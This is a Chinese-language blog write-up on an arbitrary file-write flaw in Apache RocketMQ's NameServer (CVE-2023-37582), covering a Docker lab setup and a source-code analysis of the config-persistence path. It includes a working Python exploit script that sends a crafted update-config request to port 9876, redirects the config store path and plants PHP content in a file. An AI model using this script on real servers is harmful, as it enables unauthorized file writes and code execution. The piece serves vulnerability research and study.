前言
根据漏洞描述,CVE-2023-33246除了上一篇文章的Runtime命令执行外,通过运行时修改配置还有别的利用方法。
对此,官方的修复方式就是对一些配置项如configStorePathName的修改做了权限限制:
1 2 3 4 5
| if (properties.containsKey("kvConfigPath") || properties.containsKey("configStorePathName")) { response.setCode(ResponseCode.NO_PERMISSION); response.setRemark("Can not update config path"); return response; }
|
由于权限限制不到位,导致一些配置项还是可以在运行时被远程修改,从而导致任意文件写入漏洞。
环境搭建
镜像:
1
| docker pull apache/rocketmq:5.1.1
|
启动Name Server和Broker:
1 2
| docker run -d --name namesrv -p 9876:9876 apache/rocketmq:5.1.1 sh mqnamesrv docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5.1.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
|
漏洞利用
根据参考文章,可以通过Python编写脚本连接Name Server服务更新配置完成漏洞利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import socket import binascii
client = socket.socket()
client.connect(('192.168.88.129', 9876))
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body = 'configStorePath=/tmp/test.txt\nproductEnvName=123\\n<?php echo 233;>'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) head1 = '00000000'+str(hex(json_lens))[2:] all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv)
|
脚本运行后成功写入文件,环境搭建成功。
漏洞分析
根据修复补丁,修复点位于DefaultRequestProcessor类的updateConfig函数中,该函数负责读取配置项字符串并从中生成Properties类型的配置项:
1
| this.namesrvController.getConfiguration().update(properties);
|
update函数负责根据输入更新配置,在此过程中将输入配置项与自身原有的配置项合并,并写入到配置对象中,再往下到persist函数:
1
| MixAll.string2File(allConfigs, this.getStorePath());
|
到string2File函数,看函数名和参数似乎会将所有配置项写入某个文件中,其中getStorePath函数负责获取写入文件路径:
1 2 3 4 5 6 7
| if (this.storePathFromConfig) { try { realStorePath = (String)this.storePathField.get(this.storePathObject); } catch (IllegalAccessException var7) { this.log.error("getStorePath error, ", var7); } }
|
懒得重启docker远程调试了,根据参考文章,这里的storePathFromConfig成员为true,storePathField为NamesrvConfig类的configStorePath成员,因此文件写入路径可控,而写入内容为配置项,因此内容部分可控,即可以通过远程修改配置的方式触发文件写入漏洞。
查看写入文件中的所有配置项,可以看到字符串类型的配置项不多,考虑到黑名单的影响和修改目录配置可能导致非预期错误,使用processRequest配置项控制文件内容是比较恰当的做法。
最后就是根据RocketMQ协议完成流量包的构造,然后发生触发漏洞,懒得调试所以不对根据协议构造流量包这一步多加分析了,开摆。
参考
Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)
CVE-2023-37582 Apache RocketMQ 更新配置远程代码执行漏洞